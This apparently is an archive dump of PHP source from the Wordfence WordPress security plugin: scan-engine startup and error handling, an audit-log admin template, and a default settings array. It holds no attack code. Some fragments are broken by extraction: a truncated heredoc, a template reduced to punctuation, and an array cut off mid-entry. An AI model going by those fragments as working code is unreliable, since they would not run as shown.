self::errorExit(__("There is already a scan running.", 'wordfence')); } wfIssues::updateScanStillRunning(); wfConfig::set('wfPeakMemory', 0, wfConfig::DONT_AUTOLOAD); wfConfig::set('wfScanStartVersion', wfUtils::getWPVersion()); wfConfig::set('lowResourceScanWaitStep', false); if ($scanController->useLowResourceScanning()) { self::status(1, 'info', __("Using low resource scanning", 'wordfence')); } } self::status(4, 'info', __("Requesting max memory", 'wordfence')); wfUtils::requestMaxMemory(); self::status(4, 'info', __("Setting up error handling environment", 'wordfence')); set_error_handler('wfScan::error_handler', E_ALL); register_shutdown_function('wfScan::shutdown'); if(! self::$debugMode){ ob_start('wfScan::obHandler'); } @error_reporting(E_ALL); wfUtils::iniSet('display_errors','On'); self::status(4, 'info', __("Setting up scanRunning and starting scan", 'wordfence')); try { if ($isFork) { $scan = wfConfig::get_ser('wfsd_engine', false, false); if ($scan) { self::status(4, 'info', sprintf(/* translators: Error message (used for debugging). */ __("Got a true deserialized value back from 'wfsd_engine' with type: %s", 'wordfence'), gettype($scan))); wfConfig::set('wfsd_engine', '', wfConfig::DONT_AUTOLOAD); } else { self::status(2, 'error', sprintf(/* translators: Error message (used for debugging). */ __("Scan can't continue - stored data not found after a fork. Got type: %s", 'wordfence'), gettype($scan))); wfConfig::set('wfsd_engine', '', wfConfig::DONT_AUTOLOAD); wfConfig::set('lastScanCompleted', __('Scan can\'t continue - stored data not found after a fork.', 'wordfence')); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_FORK_FAILED); wfUtils::clearScanLock(); self::status(2, 'error', "Scan terminated with error: " . __('Scan can\'t continue - stored data not found after a fork.', 'wordfence')); self::status(10, 'info', "SUM_KILLED:" . __('Previous scan terminated with an error. See below.', 'wordfence')); exit(); } } else { $delay = -1; $isScheduled = false; $originalScanStart = wfConfig::get('originalScheduledScanStart', 0); $lastScanStart = wfConfig::get('lastScheduledScanStart', 0); $minimumFrequency = ($scanController->schedulingMode() == wfScanner::SCAN_SCHEDULING_MODE_MANUAL ? 1800 : 43200); if ($lastScanStart && (time() - $lastScanStart) < $minimumFrequency) { $isScheduled = true; if ($originalScanStart > 0) { $delay = max($lastScanStart - $originalScanStart, 0); } } wfIssues::statusPrep(); //Re-initializes all status counters $scanController->resetStages(); $scanController->resetSummaryItems(); if ($scanMode != wfScanner::SCAN_TYPE_QUICK) { wordfence::status(1, 'info', __("Contacting Wordfence to initiate scan", 'wordfence')); $wp_version = wfUtils::getWPVersion(); $apiKey = wfConfig::get('apiKey'); $api = new wfAPI($apiKey, $wp_version); $response = $api->call('log_scan', array(), array('delay' => $delay, 'scheduled' => (int) $isScheduled, 'mode' => wfConfig::get('schedMode')/*, 'forcedefer' => 1*/)); if ($scanController->schedulingMode() == wfScanner::SCAN_SCHEDULING_MODE_AUTOMATIC && $isScheduled) { if (isset($response['defer'])) { $defer = (int) $response['defer']; wordfence::status(2, 'info', sprintf(/* translators: Time until. */ __("Deferring scheduled scan by %s", 'wordfence'), wfUtils::makeDuration($defer))); wfConfig::set('lastScheduledScanStart', 0); wfConfig::set('lastScanCompleted', 'ok'); wfConfig::set('lastScanFailureType', false); wfConfig::set_ser('wfStatusStartMsgs', array()); $scanController->recordLastScanTime(); $i = new wfIssues(); wfScanEngine::refreshScanNotification($i); wfScanner::shared()->scheduleSingleScan(time() + $defer, $originalScanStart); wfUtils::clearScanLock(); exit(); } } $malwarePrefixesHash = (isset($response['malwarePrefixes']) ? $response['malwarePrefixes'] : ''); $coreHashesHash = (isset($response['coreHashes']) ? $response['coreHashes'] : ''); $scan = new wfScanEngine($malwarePrefixesHash, $coreHashesHash, $scanMode); $scan->deleteNewIssues(); } else { wordfence::status(1, 'info', __("Initiating quick scan", 'wordfence')); $scan = new wfScanEngine('', '', $scanMode); } } $scan->go(); } catch (wfScanEngineDurationLimitException $e) { //User error set in wfScanEngine wfUtils::clearScanLock(); $peakMemory = self::logPeakMemory(); self::status(2, 'info', sprintf( __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - self::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); self::status(2, 'error', sprintf(__("Scan terminated with error: %s", 'wordfence'), $e->getMessage())); exit(); } catch (wfScanEngineCoreVersionChangeException $e) { //User error set in wfScanEngine wfUtils::clearScanLock(); $peakMemory = self::logPeakMemory(); self::status(2, 'info', sprintf( /* translators: 1. Bytes of memory. 2. Bytes of memory. */ __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - self::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); self::status(2, 'error', sprintf(/* translators: Error message. */ __("Scan terminated with error: %s", 'wordfence'), $e->getMessage())); $nextScheduledScan = wfScanner::shared()->nextScheduledScanTime(); if ($nextScheduledScan !== false && $nextScheduledScan - time() > 21600 /* 6 hours */) { $nextScheduledScan = time() + 3600; wfScanner::shared()->scheduleSingleScan($nextScheduledScan); } self::status(2, 'error', wordfence::getNextScanStartTime($nextScheduledScan)); exit(); } catch (wfAPICallSSLUnavailableException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_API_SSL_UNAVAILABLE); wfUtils::clearScanLock(); $peakMemory = self::logPeakMemory(); self::status(2, 'info', sprintf( /* translators: 1. Bytes of memory. 2. Bytes of memory. */ __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - self::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); self::status(2, 'error', sprintf(/* translators: Error message. */__("Scan terminated with error: %s", 'wordfence'), $e->getMessage())); exit(); } catch (wfAPICallFailedException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_API_CALL_FAILED); wfUtils::clearScanLock(); $peakMemory = self::logPeakMemory(); self::status(2, 'info', sprintf( /* translators: 1. Bytes of memory. 2. Bytes of memory. */ __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - self::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); self::status(2, 'error', sprintf(/* translators: Error message. */ __("Scan terminated with error: %s", 'wordfence'), $e->getMessage())); exit(); } catch (wfAPICallInvalidResponseException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_API_INVALID_RESPONSE); wfUtils::clearScanLock(); $peakMemory = self::logPeakMemory(); self::status(2, 'info', sprintf( /* translators: 1. Bytes of memory. 2. Bytes of memory. */ __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - self::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); self::status(2, 'error', sprintf(/* translators: Error message. */ __("Scan terminated with error: %s", 'wordfence'), $e->getMessage())); exit(); } catch (wfAPICallErrorResponseException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_API_ERROR_RESPONSE); wfUtils::clearScanLock(); $peakMemory = self::logPeakMemory(); self::status(2, 'info', sprintf( /* translators: 1. Bytes of memory. 2. Bytes of memory. */ __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - self::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); self::status(2, 'error', sprintf(/* translators: Error message. */ __("Scan terminated with error: %s", 'wordfence'), $e->getMessage())); if (preg_match('/The Wordfence API key you\'re using is already being used by: (\S*?) /', $e->getMessage(), $matches)) { wordfence::alert(__('Wordfence scan failed because of license site URL conflict', 'wordfence'), sprintf( /* translators: Site URL. */ __(<<getMessage())); self::status(10, 'info', "SUM_KILLED:" . __('Previous scan terminated with an error. See below.', 'wordfence')); exit(); } wfUtils::clearScanLock(); } public static function logPeakMemory(){ $oldPeak = wfConfig::get('wfPeakMemory', 0, false); $peak = memory_get_peak_usage(true); if ($peak > $oldPeak) { wfConfig::set('wfPeakMemory', $peak, wfConfig::DONT_AUTOLOAD); return $peak; } return $oldPeak; } public static function obHandler($buf){ if(strlen($buf) > 1000){ $buf = substr($buf, 0, 255); } if(empty($buf) === false && preg_match('/[a-zA-Z0-9]+/', $buf)){ self::status(1, 'error', $buf); } } public static function error_handler($errno, $errstr, $errfile, $errline){ if(self::$errorHandlingOn && error_reporting() > 0){ if(preg_match('/wordfence\//', $errfile)){ $level = 1; //It's one of our files, so level 1 } else { $level = 4; //It's someone elses plugin so only show if debug is enabled } self::status($level, 'error', "$errstr ($errno) File: $errfile Line: $errline"); } return false; } public static function shutdown(){ self::logPeakMemory(); } private static function errorExit($msg){ wordfence::status(1, 'error', sprintf(/* translators: Error message. */ __('Scan Engine Error: %s', 'wordfence'), $msg)); exit(); } private static function status($level, $type, $msg){ wordfence::status($level, $type, $msg); } }menu_tools_auditlog.php000064400000040675147206764270011364 0ustar00mode(); $isPaid = wfLicense::current()->isAtLeastPremium(); $centralConnected = wfCentral::isConnected(); $neverEnabled = wfConfig::get('auditLogMode', wfAuditLog::AUDIT_LOG_MODE_DEFAULT) == wfAuditLog::AUDIT_LOG_MODE_DEFAULT && wfLicense::current()->isPaidAndCurrent() && !wfLicense::current()->isAtLeastCare(); require(__DIR__ . '/wfVersionSupport.php'); /** @var $wfFeatureWPVersionAuditLog */ require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */ $wpTooOld = version_compare($wp_version, $wfFeatureWPVersionAuditLog, '<'); ?>

Learn more about the Audit Log (opens in new tab)', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_TOOLS_AUDIT_LOG)), array('a'=>array('href'=>array(), 'target'=>array(), 'rel'=>array(), 'class'=>array()), 'span'=>array('class'=>array()))); ?>
'audit-log-options', 'showControls' => true, 'wpTooOld' => $wpTooOld, ))->render(); ?>

.

. ()

.

.

.

.

.

.

auditPreview(); if (empty($recent['requests'])): ?> $request): ?>

wfFileUtils.php000064400000005340147206764270007533 0ustar00"; private static $tmpDirCache = false; public static $defaultConfig = array( //All exportable boolean options "checkboxes" => array( "alertOn_update" => array('value' => false, 'autoload' => self::AUTOLOAD), "alertOn_scanIssues" => array('value' => true, 'autoload' => self::AUTOLOAD), "alertOn_throttle" => array('value' => false, 'autoload' => self::AUTOLOAD), "alertOn_block" => array('value' => true, 'autoload' => self::AUTOLOAD), "alertOn_loginLockout" => array('value' => true, 'autoload' => self::AUTOLOAD), 'alertOn_breachLogin' => array('value' => true, 'autoload' => self::AUTOLOAD), "alertOn_lostPasswdForm" => array('value' => true, 'autoload' => self::AUTOLOAD), "alertOn_adminLogin" => array('value' => true, 'autoload' => self::AUTOLOAD), "alertOn_firstAdminLoginOnly" => array('value' => false, 'autoload' => self::AUTOLOAD), "alertOn_nonAdminLogin" => array('value' => false, 'autoload' => self::AUTOLOAD), "alertOn_firstNonAdminLoginOnly" => array('value' => false, 'autoload' => self::AUTOLOAD), "alertOn_wordfenceDeactivated" => array('value' => true, 'autoload' => self::AUTOLOAD), "alertOn_wafDeactivated" => array('value' => true, 'autoload' => self::AUTOLOAD), "liveTrafficEnabled" => array('value' => false, 'autoload' => self::AUTOLOAD), "advancedCommentScanning" => array('value' => true, 'autoload' => self::AUTOLOAD), "checkSpamIP" => array('value' => true, 'autoload' => self::AUTOLOAD), "spamvertizeCheck" => array('value' => true, 'autoload' => self::AUTOLOAD), "liveTraf_ignorePublishers" => array('value' => true, 'autoload' => self::AUTOLOAD), "liveTraf_displayExpandedRecords" => array('value' => false, 'autoload' => self::DONT_AUTOLOAD), "scheduledScansEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "lowResourceScansEnabled" => array('value' => false, 'autoload' => self::AUTOLOAD), "scansEnabled_checkGSB" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_checkHowGetIPs" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_core" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_themes" => array('value' => false, 'autoload' => self::AUTOLOAD), "scansEnabled_plugins" => array('value' => false, 'autoload' => self::AUTOLOAD), "scansEnabled_coreUnknown" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_malware" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_fileContents" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_fileContentsGSB" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_checkReadableConfig" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_suspectedFiles" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_posts" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_comments" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_suspiciousOptions" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_passwds" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_diskSpace" => array('value' => true, 'autoload' => self::AUTOLOAD), 'scansEnabled_wafStatus' => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_options" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_wpscan_fullPathDisclosure" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_wpscan_directoryListingEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_scanImages" => array('value' => false, 'autoload' => self::AUTOLOAD), "scansEnabled_highSense" => array('value' => false, 'autoload' => self::AUTOLOAD), "scansEnabled_oldVersions" => array('value' => true, 'autoload' => self::AUTOLOAD), "scansEnabled_suspiciousAdminUsers" => array('value' => true, 'autoload' => self::AUTOLOAD), "scan_force_ipv4_start" => array('value' => false, 'autoload' => self::AUTOLOAD), "liveActivityPauseEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "firewallEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "autoBlockScanners" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSecurityEnabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_strongPasswds_enabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_breachPasswds_enabled" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_lockInvalidUsers" => array('value' => false, 'autoload' => self::AUTOLOAD), "loginSec_maskLoginErrors" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_blockAdminReg" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_disableAuthorScan" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_disableApplicationPasswords" => array('value' => true, 'autoload' => self::AUTOLOAD), "loginSec_disableOEmbedAuthor" => array('value' => false, 'autoload' => self::AUTOLOAD), 'loginSec_requireAdminTwoFactor' => array('value' => false, 'autoload' => self::AUTOLOAD), "notification_updatesNeeded" => array('value' => true, 'autoload' => self::AUTOLOAD), "notification_securityAlerts" => array('value' => true, 'autoload' => self::AUTOLOAD), "notification_promotions" => array('value' => true, 'autoload' => self::AUTOLOAD), "notification_blogHighlights" => array('value' => true, 'autoload' => self::AUTOLOAD), "notification_productUpdates" => array('value' => true, 'autoload' => self::AUTOLOAD), "notification_scanStatus" => array('value' => true, 'autoload' => self::AUTOLOAD), "enableRemoteIpLookup" => array('value' => true, 'autoload' => self::AUTOLOAD), "other_hideWPVersion" => array('value' => false, 'autoload' => self::AUTOLOAD), "other_blockBadPOST" => array('value' => false, 'autoload' => self::AUTOLOAD), "other_scanComments" => array('value' => true, 'autoload' => self::AUTOLOAD), "other_pwStrengthOnUpdate" => array('value' => true, 'autoload' => self::AUTOLOAD), "other_WFNet" => array('value' => true, 'autoload' => self::AUTOLOAD), "other_scanOutside" => array('value' => false, 'autoload' => self::AUTOLOAD), "other_bypassLitespeedNoabort" => array('value' => false, 'autoload' => self::AUTOLOAD), "deleteTablesOnDeact" => array('value' => false, 'autoload' => self::AUTOLOAD), "autoUpdate" => array('value' => false, 'autoload' => self::AUTOLOAD), "startScansRemotely" => array('value' => false, 'autoload' => self::AUTOLOAD), "disableConfigCaching" => array('value' => false, 'autoload' => self::AUTOLOAD), "addCacheComment" => array('value' => false, 'autoload' => self::AUTOLOAD), "disableCodeExecutionUploads" => array('value' => false, 'autoload' => self::AUTOLOAD), "allowHTTPSCaching" => array('value' => false, 'autoload' => self::AUTOLOAD), "debugOn" => array('value' => false, 'autoload' => self::AUTOLOAD), 'email_summary_enabled' => array('value' => true, 'autoload' => self::AUTOLOAD), 'email_summary_dashboard_widget_enabled' => array('value' => true, 'autoload' => self::AUTOLOAD), 'ssl_verify' => array('value' => true, 'autoload' => self::AUTOLOAD), 'ajaxWatcherDisabled_front' => array('value' => false, 'autoload' => self::AUTOLOAD), 'ajaxWatcherDisabled_admin' => array('value' => false, 'autoload' => self::AUTOLOAD), 'wafAlertOnAttacks' => array('value' => true, 'autoload' => self::AUTOLOAD), 'disableWAFIPBlocking' => array('value' => false, 'autoload' => self::AUTOLOAD), 'showAdminBarMenu' => array('value' => true, 'autoload' => self::AUTOLOAD), 'displayTopLevelOptions' => array('value' => true, 'autoload' => self::AUTOLOAD), 'displayTopLevelBlocking' => array('value' => false, 'autoload' => self::AUTOLOAD), 'displayTopLevelLiveTraffic' => array('value' => false, 'autoload' => self::AUTOLOAD), 'displayTopLevelAuditLog' => array('value' => true, 'autoload' => self::AUTOLOAD), 'displayAutomaticBlocks' => array('value' => true, 'autoload' => self::AUTOLOAD), 'allowLegacy2FA' => array('value' => false, 'autoload' => self::AUTOLOAD), 'wordfenceI18n' => array('value' => true, 'autoload' => self::AUTOLOAD), ), //All exportable variable type options "otherParams" => array( "scan_include_extra" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "alertEmails" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "liveTraf_ignoreUsers" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "liveTraf_ignoreIPs" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "liveTraf_ignoreUA" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "maxMem" => array('value' => 256, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'scan_exclude' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'scan_maxIssues' => array('value' => 1000, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'scan_maxDuration' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "scan_max_resume_attempts" => array('value' => wfScanMonitor::DEFAULT_RESUME_ATTEMPTS, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'whitelisted' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'whitelistedServices' => array('value' => '{}', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_JSON)), 'bannedURLs' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'maxExecutionTime' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'howGetIPs' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'actUpdateInterval' => array('value' => 2, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'alert_maxHourly' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'loginSec_userBlacklist' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'liveTraf_maxRows' => array('value' => 2000, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'liveTraf_maxAge' => array('value' => 30, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), "neverBlockBG" => array('value' => "neverBlockVerified", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), "loginSec_countFailMins" => array('value' => 240, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), "loginSec_lockoutMins" => array('value' => 240, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'loginSec_strongPasswds' => array('value' => 'pubs', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'loginSec_breachPasswds' => array('value' => 'admins', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'loginSec_maxFailures' => array('value' => 20, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'loginSec_maxForgotPasswd' => array('value' => 20, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'maxGlobalRequests' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'maxGlobalRequests_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'maxRequestsCrawlers' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'maxRequestsCrawlers_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'maxRequestsHumans' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'maxRequestsHumans_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'max404Crawlers' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'max404Crawlers_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'max404Humans' => array('value' => 'DISABLED', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'max404Humans_action' => array('value' => "throttle", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'blockedTime' => array('value' => 300, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'email_summary_interval' => array('value' => 'weekly', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'email_summary_excluded_directories' => array('value' => 'wp-content/cache,wp-content/wflogs', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'allowed404s' => array('value' => "/favicon.ico\n/apple-touch-icon*.png\n/*@2x.png\n/browserconfig.xml", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'wafAlertWhitelist' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'wafAlertInterval' => array('value' => 600, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'wafAlertThreshold' => array('value' => 100, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'howGetIPs_trusted_proxies' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'howGetIPs_trusted_proxy_preset' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'scanType' => array('value' => wfScanner::SCAN_TYPE_STANDARD, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'manualScanType' => array('value' => wfScanner::MANUAL_SCHEDULING_ONCE_DAILY, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'schedStartHour' => array('value' => -1, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'schedMode' => array('value' => wfScanner::SCAN_SCHEDULING_MODE_AUTOMATIC, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'cbl_loggedInBlocked' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'cbl_action' => array('value' => 'block', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'cbl_redirURL' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'cbl_bypassRedirURL' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'cbl_bypassRedirDest' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'cbl_bypassViewURL' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'loginSec_enableSeparateTwoFactor' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'blockCustomText' => array('value' => '', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'alertOn_severityLevel' => array('value' => wfIssues::SEVERITY_LOW, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'auditLogMode' => array('value' => wfAuditLog::AUDIT_LOG_MODE_DEFAULT, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), ), //Set as default only, not included automatically in the settings import/export or options page saving 'defaultsOnly' => array( "apiKey" => array('value' => "", 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'keyType' => array('value' => wfLicense::KEY_TYPE_FREE, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'isPaid' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'hasKeyConflict' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'timeoffset_wf_updated' => array('value' => 0, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'cacheType' => array('value' => 'disabled', 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'detectProxyRecommendation' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'dismissAutoPrependNotice' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'onboardingAttempt1' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'onboardingAttempt2' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'onboardingAttempt3' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'onboardingAttempt3Initial' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'onboardingDelayedAt' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_INT)), 'onboardingLastVersion' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'needsNewTour_dashboard' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsNewTour_firewall' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsNewTour_scan' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsNewTour_blocking' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsNewTour_livetraffic' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsNewTour_loginsecurity' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsNewTour_auditlog' => array('value' => true, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_dashboard' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_firewall' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_scan' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_blocking' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_livetraffic' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_loginsecurity' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'needsUpgradeTour_auditlog' => array('value' => false, 'autoload' => self::AUTOLOAD, 'validation' => array('type' => self::TYPE_BOOL)), 'supportContent' => array('value' => '{}', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'supportHash' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'whitelistPresets' => array('value' => '{}', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'whitelistHash' => array('value' => '', 'autoload' => self::DONT_AUTOLOAD, 'validation' => array('type' => self::TYPE_STRING)), 'touppPromptNeeded' => array('value' => false, 'autoload' => 